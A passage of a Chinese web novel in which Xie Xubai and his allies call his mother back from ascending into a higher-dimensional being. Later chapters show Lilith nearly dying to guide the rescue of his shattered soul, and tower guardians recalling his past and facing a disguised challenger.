谢叙白恳求莉莉丝锁定谢语春的空间坐标。没错,不是请求,是恳求。 刹那间莉莉丝意识到事情的严重性,没有半点迟疑,当即喊出空间异兽把他们传送到谢语春的位置。 头顶陨石群环绕恒星转动,明亮的乳白色银河带横跨幽暗天幕,从一边延伸到另一边。 时空长河具象化为湍急的金色河流,啪一下拍打在他们的身上,溅起星光般的浪花。 除此之外,看不见半个人影。 环顾四面八方都没有找到谢语春的踪迹,莉莉丝忽然升起一股浓郁、不祥的预感。 她再三询问空间异兽有没有传对地方,要求重新传送,可不管传送几次,他们都没有看见谢语春。 谢叙白直接什么都顾不上了,嗓音裹挟着澎湃神力,声嘶力竭地喊:“妈——!谢语春!妈妈!你在哪儿!回答我!求你了!妈——!” 无数繁星自高处往下,沉默无声地俯瞰着肝胆俱裂的青年,怜悯地眨眼。 莉莉丝懵了懵。 可随着谢叙白一声声激动哀求的呼喊,原本空无一人的某个方位,居然真的传来了谢语春的识念波动! 她看向没有具体形态的空间异兽,转瞬想起谢语春之前提到过的“高维形态”,宛若闪电劈开迷雾,不敢置信地喃喃:“难道说老师变成了高维生命体?” 高维生物并非没有具体形态,只是低维生物无法洞悉维度壁障,观测到祂的全貌,如同蚂蚁无法看到人类的全部躯体。 故而在低维生物眼中,高维生物要么是扭曲的,要么无形。 但谢语春此刻还没彻底成为高维生命体,因为她对谢叙白的呼唤有反应。 莉莉丝猛然间又想起来,就在不久前谢语春,将第二件命运神器【浩瀚启示录】交给了巅峰。 结合谢叙白低落压抑的反应,她终于在惊愕中明了。 ——当谢语春彻底献祭自己,将神器全部交付出去的时候,也是她成为高维生命体,丢掉所有的俗世欲望,斩断一切亲缘关系,与人世彻底隔绝之时。 裴玉衡早就追过去和谢叙白一起呼喊谢语春了,每一声都撕心裂肺。 莉莉丝也不敢耽误,一边焦急地喊着老师,一边倾泻神力散发识念。 在他们此起彼伏的呼唤下,谢语春终于现形。 莉莉丝的瞳孔骤然一缩。 那已经不能称之为人的形态。 她看起来十分巨大,犹如一座山峰,半身以下,是庞大胶质的半透明虚影,胸口甚至可以清楚地看见正在虚化的骨骼脉络。脑袋变成扁平的一张,像副精致绘画出来的人脸面具,头顶悬着时间轮盘般的徽记。 随着她的低头,神力余晖溢散,周围物质的时间流速竟发生了不同程度的加速和倒退。 比如谢语春不远处的陨石,分层结构碎裂,岩石、铁、石铁混合物杂糅在一起,竟然以肉眼可见的速度回退为星云物质! 现在的谢语春,哪怕什么都没有做,只是【存在】,就会对现世造成非常可怕的影响。 谢语春仿佛知道他们的来意,那如画般圣洁美丽的玻璃眼看向三人,空灵又冷漠,平铺直叙地传达识念:【我会将最后一件神器交给命定之人。】 说完,毫不拖泥带水地扭头转身。 巨大的身体如轻薄飘逸的裙摆翩然而动,神力余晖犹如波涛泛起,荡向没有边际的宇宙。 她高扬脑袋即将离去,身体逐渐变得透明无形,仿佛将和这宇宙融为一体,又要像刚才一样,不可看见了。 见谢语春对其他事情毫不关心,甚至没有多看谢叙白和裴玉衡一眼,莉莉丝的心瞬间凉了半截。 人类科研对高维生物的研究从来没有停止过,其中有个比较著名且众所纷纭的猜想: 低维生物晋升为高维生物后,还会不会保留低维时期的意识? 有科研人员说不会,就像蚂蚁变成人后,不会再想着去和其他蚂蚁筑巢、交配,只会找同样是人的对象,行为规模上升为建房、婚姻。 ——通通在谢语春这里得到了佐证。 谢语春如今的状态,就算他们提及无限游戏将要带来的灾难和对方身为命运女神的职责,前者也不一定会理会。 就在莉莉丝焦头烂额之际,忽然传来裴玉衡焦急的大吼:“阿白!” 谢叙白冲了上去。 他不是无脑前冲,事先让小黑章鱼为他展开防御屏障,抵挡谢语春的神力影响。 但和高维化的谢语春比起来,他实在太小了,可能只有对方现在的半根手指头大,冲上去也不显眼。 于是谢叙白竭力释放神力,让金色的光芒照亮谢语春的脸,挡住必经之路。 “……无限游戏还没有找到破解的办法,你身为联合会最高首席执行官,还有没能完成的使命,你不能离开,我们需要你。” 金光分裂成无数多的精神体,从谢叙白婴儿时期到长大成人一字排开。 婴儿的谢叙白哇哇大哭,向谢语春伸出渴望的小手。 幼儿时期的小叙白泪水潸然而下,不断哀求:“留下来妈妈!求你了,留下来!不要抛弃我!求你了!” 初中时期的少年拽着谢语春的身体死也不放,低头抿唇,指尖用力到发白:“留下来。” 那一声声的呼唤宛如嘹亮的号角回荡不休,谢语春本来没有任何表情的脸突然眉头紧蹙,显得极其痛苦和不安,嘴唇也轻微地颤抖起来。 谢叙白看见了。 那一刻,他的表情也变得非常痛苦,张了张嘴,像条濒死而喘不过气的鱼。 他掐住手指,哑声坚持道:“谢执行官,你的职责还未完成,你不能走。” 或许是察觉出幼年和婴儿阶段对谢语春的影响最鲜明,精神体全都变成这两种形态。 婴儿和小叙白的哭嚎更加大声,更加放肆,和沉重压抑的青年成为鲜明对比。 终于,谢语春空洞的眼睛再次浮现出人类的情绪。 她的身体随之急剧缩小,变成正常人的模样。站稳后茫然扶额,对刚才发生的事情只有个模糊的印象:“我刚才……?” 下一秒,所有分散出去的精神体凝成一个小叙白,扑进她的怀里嚎啕大哭。 谢语春一惊,连忙将孩子抱起来拍哄:“宝宝?怎么了?乖乖,不哭了,不哭了呀。” 她随即抬头,对上谢叙白通红的眼睛。 恒星的余晖从旁照在谢叙白的脸上,映出他绷紧到轻颤的下颚线条。 他嗓音嘶哑:“对不起,又一次强行将您留了下来。” 霎时间,谢语春明白了方才发生的一切。 她看了看后面同样双眼湿润的裴玉衡,还有紧张无措的莉莉丝,沉默一瞬,上前抱紧谢叙白,温柔地揉了揉青年的头发:“怎么会?谢谢你又一次叫住了我。” “不怕了,白白,妈妈在。” 第254章 成神进度:96% “妈妈很早以前就能听见高维时空的呼唤,一开始只是略有感应,到后来能听见清晰的呢喃私语,交付命运神器只是催化了这个过程。” “高维化和成神有一定区别。成神是掌控自己所在维度的法则,力量达到该维度的巅峰。” “高维化则是在此基础上寻求更一步突破,但突破后思维也会受到影响,和以前的维度彻底割离。” 被问及为什么除去正式场合,总是将“妈妈”“母亲”挂在嘴边,丝毫不避讳让人知道他和谢语春的关系。 谢叙白的回答是:神对尘世有感应,每当他叫出这种亲昵的称呼,谢语春都能听得见。 谢语春喜欢他这么喊她,他也想要对方能够在有限的时间里多听一听。 莉莉丝啊的一声,像是恍然大悟:“原来是这样。” 谢叙白倒是有些好奇:“你们以为是什么样?” 莉莉丝注意到青年说的“你们”而不是“你”。 显然,这人对大家私底下传得沸沸扬扬的非议吐槽并非一无所知,但估计只是略有耳闻,没有多去了解。 该说心宽还是心大呢? 莉莉丝:“你先说听完后会不会生气,我再考虑要不要告诉你。” 谢叙白:“我没法保证不确定的事情,你先说完,我再告诉你会不会生气。” 莉莉丝:“white指挥官私底下也这么爱打机锋吗?” “礼尚往来,莉莉丝副司令。”谢叙白说,“难道我平时的信誉和为人,不足以知道你们私底下是如何腹诽我这个无辜可怜的当事人吗?” “无辜可怜有待商酌。”莉莉丝和善微笑,“你确定要和我谈信誉吗?当初究竟是谁带着手下钓鱼执法害得我的部队受罚加大三倍训练量第二天腿软到差点站不起来?又是谁发现奖励关卡忽悠我们是陷阱关最后连根毛都没给我们剩下?” 谢叙白一秒转移话题,高声赞叹道:“我都没有发现,你的中文真是越来越好了,不愧是天姿出众才华横溢聪明伶俐的特战二连司令官。” 莉莉丝信他的鬼,冷笑道:“呵。” 他们不能像谢语春一样在时空长河里无限期地停留,加上每个人都公务繁忙各有重任,连几分钟的寒暄都显得奢侈。 终归是针锋相对,再算一会儿旧账估计有大打出手的风险。 谢叙白有邪神撑腰,莉莉丝估摸着空间异兽不靠谱,很想一走了之,但裴玉衡有事和谢语春相商,前者没有空间传送能力,她只好捏着鼻子继续等待。 见证过那沉重的一幕,两人难得默契地避开紧张话题,有一搭没一搭地闲聊。 但关系算不上熟络,聊着聊着还是回到了公事上。 莉莉丝这才知道,因为谢语春的特殊遭遇,对方和裴玉衡还专门研究过靠【跃升维度】让人类摆脱无限游戏的可能性。 最后发现摆脱是摆脱了,人性也会随之丧失,只能放弃。 为了挽救人类文明,全球各大科研所付诸心血投入的方案多如恒河沙数。 但绝大多数都像这个方案,在重重问题和阻碍前被迫终止,沉入无望的深渊。 没多久裴玉衡大步流星回来了,捏着眉心,形容憔悴。 谢叙白看向裴玉衡,意念一动,身边金光氤氲,凝出一个幼年时期的精神体。 小叙白从善如流地飞扑进裴玉衡的怀里,黑溜溜的大眼睛瞬间弯成月牙状:“叔叔抱!” 裴玉衡一怔,下意识将小叙白抱了起来,后者贴靠在他的脖颈蹭来蹭去,可爱得不行。由于是精神体没有实际重量,所以抱着并不累,散发的金光还能抚慰精神上的乏累。 没多久裴玉衡不苟言笑的脸就被哄得展颜,温柔地拍拍小叙白的后背:“乖。” 裴玉衡来到两人的面前,对谢叙白说:“你和师姐有过近距离接触,也许会有神力残留,以防万一,还是等到三小时后再回去吧。” 神力残留是个托词,裴玉衡显然清楚,如果不给出一个正当的休息理由,被刺激的谢叙白只会比平时更加不要命地埋头苦干。 “我知道了。”谢叙白笑道,“谢谢裴叔,您记得早点休息。” 裴玉衡看着他,嚅嗫嘴唇似乎有些不放心,最后轻叹一声,拍了拍谢叙白的肩膀:“你也是。” 把裴玉衡送走后,莉莉丝自觉没自己什么事儿了,正准备开溜。 却没想到小叙白会突然拎着空间袋嘚儿嘚儿地跑过来,拿出一个晶莹剔透的果子塞进她手里,献宝般似的:“谢谢漂亮姐姐帮忙!这个送给你,是妈妈从其他维度摘到的牛奶果,很甜的哦~!” 莉莉丝看看笑得一脸阳光灿烂的小孩,再看看旁边冷静淡定的谢叙白,忽然萌生出一股强烈的割裂感。 想想white要是也这么奶声奶气地喊她姐姐,莉莉丝打了个寒战,感慨道:“你小时候比现在可爱多了。” 谢叙白竟然没有否认,失笑道:“我也这么认为。” 隐隐约约,莉莉丝好像看出了谢叙白没有自己上,而是让小叙白去呼唤谢语春、安慰裴玉衡的原因。 她不知道该说些什么,转眼又看见小叙白掏出另一枚果子,放在谢叙白的手里,抬起澄澈的眼睛和青年对视。 本以为会再说点萌动人心的撒娇话,谁想到语气竟是波澜不惊,有股与年龄不符的成熟。 小叙白:“要坚持住。” 谢叙白:“好。” 小叙白:“不能放弃。” 谢叙白:“好。” 小叙白:“再难过也必须顶住。” 谢叙白:“好。” 如果是真正的小叙白,他不会理解长大后的自己面临着什么样的处境,也不会说出这些话。 这也说明精神体不是各个时期的自己,他们就是此时此刻的本体所分散出去的一部分,即便行事作风有差异不同,思维意识也不会改变。 等同于谢叙白在和自己对话。 刹那间莉莉丝心神一震。 听着谢叙白毫不犹豫地答出那一声声“好”,她恍惚间仿佛看见一个面黄肌瘦的小女孩扒在自己的膝头。 女孩的眼睛里翻涌着两汪委屈的泪水,固执地不肯掉下来,对她咬牙切齿地说:“还不够。” “权力不够。” “财富不够。” “要更多,更多,更多——” 那是无法消解的执念,是困缚一生的咒。 昔日落魄富豪的叹息声又一次在耳畔响起。 “莉莉丝,这世上没有真正意义上的一帆风顺,生死命运面前上帝一向平等,无论是谁……” 对能够跃升维度的生命体而言,强行留在当前维度并不是一件好事。就像逼迫肉食动物抵抗吃肉的本能,思维在两个维度间跳跃拉扯,是种无形的折磨,意志力稍弱的人保不准要精神分裂。 说出这话时谢叙白没什么表情,也看不出先前的压抑,仿佛顷刻间筑起坚不可摧的铜墙铁壁,让人看不出他是不在意,还是伪装出来的平静。 小叙白回归谢叙白的意识海,莉莉丝一晃神,小女孩也如烟般消散了。 她沉默一会儿,突然道:“还记得使徒公会成立初期的宣誓吗?” 谢叙白抬起头,看向浩瀚无垠的星河。 他们已经回到了太阳系,巨大日轮朝外释放出灼烫的光辉,与极光交相辉映,将半边穹宇烧成永恒绚烂的晚霞。 北斗七星在被游戏封闭的蓝星上空轮转、循环,如黑暗里的一盏明灯,照亮漫漫征途的轨迹。 莉莉丝念出那段誓词:“我们不是上帝的使徒,而将殉道于人类的命运。我志愿奉献自己的生命乃至于灵魂,点燃存续的黎明。” 谢叙白:“死亡绝非终途,所有人终将重逢。” 在那之后不久,谢语春终于在裴玉衡的协助下打造出第四件命运神器,【永不崩溃的对抗命运之心】,以此遏止住自己的高维进化,得以留在当前维度。 又不知道多少次轮回后,最终决战前夕。 第255章 成神进度:96% 昏暗闭塞的占星室内,塔罗牌上的星辉静谧转动,散发莹蓝色的亮光。 周围安安静静,只有粗重嘶哑的呼吸声在喉头起伏,如老旧的破风箱。 莉莉丝脸色苍白,眼神发虚,喘息着喝光手中的强效生命药剂。 她颤抖的手指脱力一松,玻璃瓶掉落在地毯上,骨碌碌滚上几圈,乒!撞到另一个空玻璃瓶。 在她的脚下,几乎全是空掉的药剂瓶,堆砌成小山包。 距离她自挖神核丢给谢叙白,已经过去六天。 距离谢叙白吞噬所有神核冲上高维宇宙,已经过去三天。 距离不知道谢叙白做了什么,系统突然愤恨宣布【经审定,现有游戏规则不合理,游戏难度过大,将调整重启】,已经过去两天。 距离谢叙白灵魂粉碎,而她将对方的灵魂坐标交给宴朔,已经过去一天。 早在自挖神核的那刻起,莉莉丝就该安详咽气,投入新的循环。 但接连三次占卜都是死神正位,象征着毁灭失败及无解的死局。 她偏不信命,一遍又一遍地重新占卜,终于求来一次逆位。 不远处的桌上正摆着那张关键的塔罗牌。 【死神(death)逆位:一线希望,起死回生。】 下一秒,几乎要疯了的宴朔裹挟着恐怖威压破门而出! ……如果不能赶在white精神湮灭前将他从高维宇宙带回来,那么名为white的灵魂将彻底消失,再没有复生的可能。 拿到答案的宴朔疯狂地追了上去,而她是唯一能够锁定white空间坐标、给前者及时报点的人。 她不能死。 莉莉丝又灌下一瓶生命药剂。 忽然,她眼前昏黑,鼻前一热,黏稠猩红的血液啪嗒啪嗒滴在大腿和手背上,没喝完的药剂瓶也摔在地上。 人造太阳的光亮如一支利箭,穿透窗户照进室内,视野大亮,桌椅板凳都蒙上刺眼的光。 沉寂的室内突然响起嗡嗡杂音,人群的议论声从四面八方传来,越来越清晰。 那不是耳鸣,是隔绝外界联系的屏障正在消失。 灵魂损伤没那么好压制,喝再多药剂也只能撑住几天,眼下莉莉丝已经濒临极限,仅剩的那点神力,再也不足以额外支撑起屏障。 刹那间莉莉丝慌张极了。 她害怕自己的位置暴露,被系统发现。如果她死了,就再也没有人可以继续提供white的坐标。 她挣扎着捏紧轮椅扶手,谁知道刚一起身,便蓦然瘫软下去。 眼前阵阵发黑,强烈的窒息感迫使她不受控制地大口喘息,咳咳两声,呛出大口血来! 她后知后觉,自己竟然连站起来的力气都没有了。 窗外越来越闹,人造天幕爆出震耳欲聋的轰鸣。 嘭!嘭!…… 规则整改,游戏重启,一直渺无影踪不见真容的无限游戏终于浮出水面。 天幕破碎,露出一道宛如空间裂隙的开口,里面流淌着暗红的色泽,飞快飘过一段连续的、无法分辨出代码的数据流。 数据流像某种高维力量编纂出的生命体,如果盯的时间太久,代码就会扭曲,长出张牙舞爪的肉瘤触须,反过来侵蚀他们的意识海。 那就是系统的源数据。 他们仍旧无法看见系统的全貌,却第一次捕捉到它的踪迹。 哪怕只是一部分,也足以让所有人激昂振奋! 可是振奋之余,一个晴天霹雳猝然砸到他们的头顶。 ——天上的金光正在消失。 那光芒来源于吞吃神核直冲穹宇的谢叙白,上升时爆发出来的亮度直接碾压人造太阳,宛如启明星般悬在浩瀚昏暗的穹宇。 也正因为谢叙白打破游戏的界限,才让他们得以捕捉到系统的存在。 可如今,光芒在消隐。 那不止意味着黑暗即将到来,也意味着光芒的死去。 ——那个被误会为叛徒,与所有玩家为敌,实则舍生忘死奋不顾身,为所有人挣来一线生机的人正在死去。 刹那间,曾经憧憬仰慕过white的玩家掀起翻天阵仗。 和white相熟的神级玩家更是如同冷水泼入油锅般全面爆沸,目眦欲裂攻上人造天幕,集火系统所在的方位。 大部分被掏走神核的大佬,因为被谢叙白提前转移灵魂损伤,没有生命危险,在床上躺尸。 听到这消息,他们也立马撑着重伤的身体,爬起来加入围攻系统的行列。 不同玩家的力量一波接一波地撞上去,剧烈波动蛛网般震荡整个游戏空间。 金龙咆哮,葡萄藤生长,裹挟着火焰的仙杖用力砸下……诸神愤然的吼声撕扯天幕,五颜六色的余晖在乌云中频繁乍现,如群星闪烁! …… 莉莉丝视野模糊变暗,气喘声逐渐微弱。 她隐隐感知到外面爆发的力量波动中有巅峰的人,有使徒的人,还有其他各大头部组织的熟人。 那不是无用功。 他们在这边攻击系统的源数据,另一边宴朔对抗系统的压力就会减小。 莉莉丝能通过灵魂坐标的清晰程度,判断white现在的状态。 成千上万的碎片宛若散落的星点,从模糊到清晰,代表它们正被宴朔接二连三地从系统那里抢过来。 可是它们的亮度也在以肉眼可见的速度流逝。 终于,灵魂碎片一个不落地汇聚在一起,宴朔终于将它们全部抢了过来。 但更严重的问题接踵而至。 从高维宇宙到他们所在的维度,期间夹杂着不少高能耀斑和行星磁场乱流,稍不注意就会干扰方向,彻底迷失在无边无际的宇宙。 莉莉丝要为宴朔指明航道,可是她真的快要不行了。 —— 巨大的章鱼黑影小心包裹着上万片莹亮的灵魂碎片,如流星般穿梭在危险的行星陨石带,贯穿穹宇。 越来越多滚烫的血液从口鼻淌下来,莉莉丝咬着牙关,心里不断祈祷着,快一点,再快一点…… 朦朦胧胧中,她感觉一团光照在自己的脸上,迟钝地抬起头,看见了飘在空中的谢语春。 强行插手现世,令谢语春的力量很不稳定,无限趋近于高维化,浑身溢散着神圣的神辉,漠然的眼神中透出无声的慈悲,有股说不出来的神性。 这一刻,她更像是祂,被无数玩家竞相传颂的命运女神。 约莫是受到神辉影响,莉莉丝情不自禁回忆起自己这求而不得的一生。 年幼饱受欺凌,过不上平静的生活; 少年时努力学习,拿不到推荐名额; 在最拮据、最无力的时候,遇上教父重病,最后不治身亡; 年轻步入商界,被空降的关系户摘果子,抢走项目和职位; 中年步入政圈,呕心沥血干出实绩,眼看着民意呼声高涨,被亲生母亲伙同竞争者爆出不实谣言; 没多久后,无限游戏降临,回来找她的母亲被怪物残忍杀死。 想要争夺第一使徒的位置,结果又来了white这么个关系户。 可气的是,这个位置不论从哪方面考量,都非那人莫属。 可叹又让她气不起来的是,那家伙比她还苦。 好不容易大家磨合结束,化干戈为玉帛,眼看着有一战之力了,结果系统反手给所有的神级玩家玩了一个文字游戏: ——无限游戏仅限【人类】参与,【成神】后不再是【人类】,是赤裸裸的作弊! 不仅以往的闯关成绩全部无效,还会受到系统惩罚,灵魂遭到奴役。 系统的力量源自高维,力压当前维度的众多神明,拥有绝对的话语权。 如果不是第二使徒事先发现蹊跷,又有谢叙白破釜沉舟,他们将全军覆没。 如今更是了。 她想要救下那个姑且能称为师弟、也没有想象中那么讨厌的家伙,可现实再一次狠狠地扇了她一巴掌。 明明她强到让无数玩家艳羡瞻仰,为什么还是这么无力? 对权势的追逐,究竟要追到什么程度才能足够? “老师……不,命运女神,您能不能告诉我……” 大量的鲜血从莉莉丝的眼睛、耳朵、鼻孔和嘴里淌出,她胸口急剧起伏,疼得痉挛颤栗,含糊不清地笑:“我这一辈子,究竟能不能成功地争取到自己想要的东西?” 哪怕。 她一恍惚,手臂终于不甘地垂落下去。 哪怕只是一次呢? 命运女神揉了揉莉莉丝的头发,贴身靠近绝望的求索者,与后者额头相触,灌入神力。 霎时间万丈光芒亮起,照得整个占星室如白昼降临。 原本摇摇欲坠将要崩塌的航标骤然稳固,给疾驰在维度裂隙中的邪神引领方向。 莉莉丝弥留之际,听见外面传来惊天动地的阵仗。 有谁在欢呼,有谁在尖叫。 她微微侧头,涣散的眼角余光捕捉到滔天黑雾从天而降,降落时过于急迫,巨大的冲击碾得大地碎裂,石块飞溅! 雾气翻涌,小心翼翼地露出包裹着的万千灵魂碎片,微弱却又实实在在地发着光。 诸神的虚影急不可耐地围拥而上,神力赐福的光辉在昏暗的地平线上交相辉映,倒映在莉莉丝的瞳孔里,如黎明缓缓降临。 —— 位于黑塔第二十九层的第六、第八使徒,还有位于第三十层的第一、第四、第五使徒,突然接到莉莉丝的识念传讯。 倒也没有特别重大的事情,只是提醒他们:当初为了撑到救下white,她在濒死的状态下熬了整整六天。 所以谁要是敢让white出事,她就让他们也尝尝六天都求死不能的滋味:) 第六使徒感知到这段传讯中爆出的阴狠煞气,忍不住打了个哆嗦,呲牙咧嘴一阵幻痛。 他作为守关BOSS站在擂台上,看向底下的一众玩家,横看竖看分辨不出哪一个是white现在的马甲。 第六使徒和颜悦色地与众人打商量:“要不咱们不打了,你们直接过去?” 在众有巅峰第二队的成员,和其他隶属于顶级组织的高级玩家。 宴初一等人刚来没多久,站在传送通道门口,不动声色地打量这一层的情况。 一路走来终于看见巅峰的人,徐济一喜,正准备过去会合,却听见第六使徒旁边的第八使徒发出一声冷嗤。 “怎么,一句威胁就把你给吓傻了?” 第256章 成神进度:96% 第六使徒【信使】唰一下看向身旁的第八使徒【猎魔人】,眼神震惊得像是对方在说什么蠢话,声音直接高八度。 “这是肯定的啊,为什么不怕?” “你以为对white下手惹火的就只有莉莉丝吗?莉莉丝会传讯威胁,代表他们已经在第二十八层见过面,肯定也见过了低层的希尔和小羊,你觉得那两个家伙会容忍你和white作对?” “命运女神的光辉始终照耀世间。黑王就是邪神,统领着整座黑塔。你要在祂们的眼皮子底下伤害white,是嫌自己活得太舒服了吗?” “使徒公会的大半成员都已经进入游戏,还有史蒂芬这样的前成员,他们可是white的铁杆拥趸。并且white是中洲人,早就被录入巅峰的正式成员,那群家伙更是出了名的护犊子。” “老五不久前刚放过话,他要和white清算旧怨,在此之前谁敢跑出来横插一脚,都是在找他的不痛快,别怪他翻脸。” “乌鸦要找white追问老二的下落,对white的注重程度不亚于老五。万一white在对打过程中出意外,又一次丧失记忆,你猜他会有多疯狂?” 第六使徒说着说着,自己忍不住心有余悸地打了个激灵,撇眼看过去。 那眼神仿佛在问:这你不怕?你敢不怕?? 第八使徒那张悍然无畏的脸就像吹涨的气球倏然干瘪下去,一阵青一阵白,气势汹汹握住破魔弓的手也悻悻地放了下去,不自在地摸了摸鼻子。 “就算不提这些前提,我真的很好奇,为什么你觉得自己能打过white?哪怕他因灵魂粉碎导致神力和等级全部清空,但有诸神为他赐福,重新修炼起来也不会比我们更艰难。” 第六使徒状似不经意地靠近,用只有他们两人能听见的识念传讯。 【还有啊,你现在还能感应到老九他们三叛徒的存在吗?】 听到叛徒的词汇,第八使徒忽然眼神一凛。 他侧头和第六使徒对视良久,浑身骤然竖起冰冷的尖刺,语气暗沉:“你想说什么?” 第六使徒无奈摊手:“别那么激动,我只是忍不住感慨一句,背弃道义的人通常是不会有什么好下场的。” 第八使徒横眉轻嗤:“道义?那你不敢和white作对,究竟是因为心中的道义,还是因为打不过他,又或是害怕被拥护支持他的那些家伙报复?” “都有,但更多的是出于道义。” 第六使徒说:“white直到最后也用力践行着他所秉持的道义,这是我愿意听命于他的原因。” “我知道你和乌鸦私底下对他有诸多怨言,有些时候white也确实表现得过于公正、不近人情,但唯独在坚守道义方面,我不认为有谁能够诋毁他。” 第八使徒也很感慨,带着讥讽:“我没有想到,你平时谁都不得罪,谁都不深交,看起来像一根见风使舵的墙头草,实际上居然是white的忠实拥趸。” 第六使徒:“忠实拥趸说不上,但我挺喜欢使徒这一重身份的含义——【不是上帝的使徒,是挽救世界命运的使徒,亦是自我信念的使徒】,你知道第一次听见这话时,我有多震惊、多害怕吗?” 彼此共事那么长时间,就算各自身份信息保密,从言谈举止和行为习惯都能窥见几分过去的影子。 第八使徒眉头皱了一下:“是因为你的家乡……” 第六使徒倒是坦然:“对。我们那个小地方的人信奉主到疯魔的地步,大祭司掌握着绝对的话语权,所有家庭每月必须定期上供,拿不出来就用人来抵。一场简简单单的布告仪式,就能决定一个人的生死,哪怕那人确实无辜。” “我曾经见过有人对大祭司不敬,被堵住嘴丢进蛇窟,还要让包括孩子在内的所有人一同围观。那时候我大概十二岁,那个倒霉蛋惨死的样子,我至今都忘不掉。” 第六使徒挤眉弄眼,揶揄道:“所以你们都惊叹于我前期适应性良好,怀疑我是不是心理变态,其实对我来说,无限游戏和现实根本没有什么区别。” 但那是他成为第六使徒之前。 记不清楚是哪一世了,因为被检测出战斗潜力极高,他被大祭司带在身边充当护卫。 然而彼时无限游戏的难度远超人类能够抗衡的正常水平,并且世界很大,不止他们那犄角旮旯地方,大祭司平时在村落中横行霸道的尊贵和权力通通成了屁,其他玩家根本不买账。 他们无人援助,被虫兵追得屁滚尿流,慌不择路撞上white的队伍。 看见大祭司将火气撒在他们的身上,其他玩家要么无声观望,要么好言相劝几句,劝不了后悻悻离开。 white很直接,眼见大祭司掐住侍女的脖子,面无表情走过来,抬起修长笔直的腿,将大祭司一脚踹飞了出去! 大祭司颐指气使的脸,被坚硬的战斗靴踹成一张扁纸,牙齿鲜血飙飞。 ——那极其具有冲击力的一幕,仿佛凝聚成一座洪钟,在第六使徒的脑海震耳欲聋地敲响。 之后white接管了他们这群人,过关后带他们重新进行资格判定。 有潜力的吸收入会,成为使徒预备役,没潜力的根据个人意愿妥善安置。 通过和管理人员交流时的只言片语,第六使徒才知道,原来无限游戏循环过几次,而他们以往都会死在开局。 这一次是white采用穷举法挨个探路,尝试触发支线任务,碰巧救下了他们。 管理者提到white时语气意味深长,似乎他应该感激自己的救命恩人。 但从大祭司死去的那一刻起,第六使徒就变得很迷茫,一直神游天外。 对自己被救的现实,还是救下自己的那个人,他都没有太强烈的感触。 没多久后考察期结束,他通过能力测试成为正式使徒。 那天的宣誓典礼非常隆重,给他的感觉就像部族里的献祭仪式,随时能把谁拖出去送死。 严肃庄重的目光从四面八方的监察席上投射而来,第六使徒如芒在背,冷汗直冒,许久未曾感受到的窒息感再一次涌上心头,后知后觉地发起抖。 他再三告诉自己:不能出错,不能出错,一定不能出错! 谁想到,第一句就错了。 “我们是上帝的使徒……” “你说错了,不是‘是’,是‘不是’。” 青年的嗓音在身边响起,第六使徒惊慌抬头:“什么?” 青年复述他的口误,他急忙改口。 但是再来一次,他仍旧会下意识地说出“我是”,就好像曾经的噩梦阴影早已嵌入灵魂,根深蒂固。 当即有不少监察人员皱起眉头,本就严肃的目光锋利如刀。 前面就已经走完了背调筛选的流程,一般情况下,宣誓就只是走个过场。 但要是连这小小的过场都能成为无法跨越的心魔,可想而知,之后遇上精神污染类型的副本,这人会崩溃成什么样。 青年目光一顿,似乎察觉到他的问题,没有再进行无用功的纠正。 刹那的息声,安静的注视,让第六使徒的心脏急速跳动。 在对方澄澈如明镜的瞳孔注视下,他仿佛能看见自己慌张到无所适从的倒影。 他心惊胆颤地张嘴辩解,却因被奴役已久,说不出流利的语言,叽里咕噜舌头打搅。 他几乎要吓得哭出来了,抓着青年的肩膀要给人跪下,被青年不着痕迹地用金光扯住身体,硬是没让他的膝盖弯下去半寸。 青年安抚地拍了下他的肩膀。 没有轻蔑,没有怜悯,甚至什么都没说。 青年转过身向监察人员请求:“或许可以让他换一个誓词。” “换誓词?” “是的,改掉第一句。” “这不符合规定!” “不,我们的明文条例里有这个规定,里面提到过特殊情况特殊处理。如果我们一直拘泥于形式上的规定,就不会有使徒公会的出现。同样,我们追寻的是心中的信念,而非这三言两语的誓词。” 监察人员仍有微词,但青年力排众议。 后者转身看向他,淡然肃穆的脸上带着点点笑意:“来吧,换一个你能接受的誓词。先说好,我能感知到你的真实情绪,如果你的信念不够坚定,那可一样过不了关。” …… 第六使徒摸了摸衣服上的使徒徽记,眼神透着说不出的柔和。 想起现状,他嘴角展露的笑容倏然冷淡下来:“可惜了,现在的使徒公会早已不复当初的纯粹,某些人更是忘记了自己的来时路。” “老八,我没有在你的身上感知到系统的力量烙印,所以我最后问你一个问题。”第六使徒挑了下眉头,“你现在究竟是第八使徒,还是系统的走狗?” 第八使徒没有说话。 也是这时,擂台下传来人声。 “两位,现在接受挑战吗?” 两名使徒同时看过去,发现出声者只有一人,之前和他一起的同伴都默契地退到了安全线外。 第八使徒目光狐疑:“就你一个?” 不是他看不起这名年轻人,而是无限游戏现如今的三亿玩家里,能单枪匹马战胜他的人,两只手都能数得过来。 但随即第八使徒又发现了一件奇怪的事。 为什么本来打算闯关的巅峰成员,突然都把武器收了回去?他们不准备动手了? 唯有宴初一淡然如旧:“嗯,就我一个。” 第257章 成神进度:96% 青年说自己一个人上的时候没什么气势,他甚至安安分分走的楼梯,而不是像之前的闯关者一样原地起跳闪亮登场。 就在宴初一站定的瞬间,规则之力转瞬笼罩三米高的擂台。 半空中翻涌着半透明的波动,响起尖锐刺耳的爆鸣,形如纵横交织的透明电磁网。 从现在开始,除非有一方决出胜负,否则他们将永远无法离开擂台。 不止是第八使徒,第六使徒眉头微皱,也意识到了问题。 试炼刚开始时出现那种不知天高地厚的蠢货不稀奇,但这里可是黑塔第二十九层。 能活着出现在这里,就说明对方不是什么简单的人物,何况这家伙敢单人上阵,甚至其他蓄势待发的顶级队伍都愿意为他让路。 宴初一:“两位不用这么怀疑地看着我,我一个人过来,只是想先找老朋友处理点私事。” 两名使徒:“……” 听着这似曾相识的遣词用句和熟稔的称谓,两人眉头狠狠一跳,飞快对视一眼。 当在对方脸上看到如出一辙的迷茫,他们的心脏立马狠狠一咯噔。 这个时间节点太凑巧了,刚谈到white可能来到第二十九层,下一秒就有人上来挑战。对方自称是老朋友,可是他们俩都不认识……准确点来说,不认识这具伪装过的身体。 但他们却能从青年的仪态谈吐、那坚韧的眼神,感受到某种微妙到将要呼之欲出的既视感。 心脏打鼓,第六使徒后背渗出冷汗,若无其事地维持着表面的微笑:“当然可以我亲爱的朋友!不过能否事先询问一句是什么私事吗?” 他说话的同时,状似不经意地将右手背在身后,指尖凝聚起一抹神力,朝天空一弹。 神力在半空化作信鸽,振翅而飞时掀起气流涌动,没有波澜的云霄忽然刮起狂风。 